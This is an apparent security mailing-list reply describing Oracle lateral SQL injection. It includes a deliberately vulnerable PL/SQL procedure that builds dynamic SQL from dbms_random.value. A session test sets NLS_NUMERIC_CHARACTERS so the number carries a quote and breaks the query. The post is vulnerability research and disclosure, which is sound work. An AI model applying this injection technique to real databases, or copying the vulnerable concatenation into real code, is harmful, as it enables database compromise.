Great work David! as usual )
I just can add a little info
Not only sysdate function can be used in procedure without input parametres.
For example using dbms_random.value in procedure without input parameters, we also can inject sql code.
---------------------------
vunerable procedure:
create or replace procedure sh2kerr_num_proc is
stmt varchar2(2000);
n number:=dbms_random.value;
begin
stmt:='select object_name from all_objects where object_id = ' || n;
execute immediate stmt;
end;
/
--------------
TEST:
SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;
Session altered.
SQL> select dbms_random.value from dual;
VALUE
----------
'763871688
SQL> exec sh2kerr_num_proc
BEGIN sh2kerr_num_proc; END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
--------------------------
Thats all.Thanks.
Polyakov Alexandr
Information Security Analyst
Chief researcher of DSECRG department
______________________
DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov@xxxxxxx
www.dsec.ru
-----------------------------------
This message and any attachment are confidential and may be privileged or otherwise protected
from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure
is strictly prohibited. If you have received this message in error, please notify the sender immediately
either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence
via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding
statements by e-mail unless otherwise agreed.
-----------------------------------
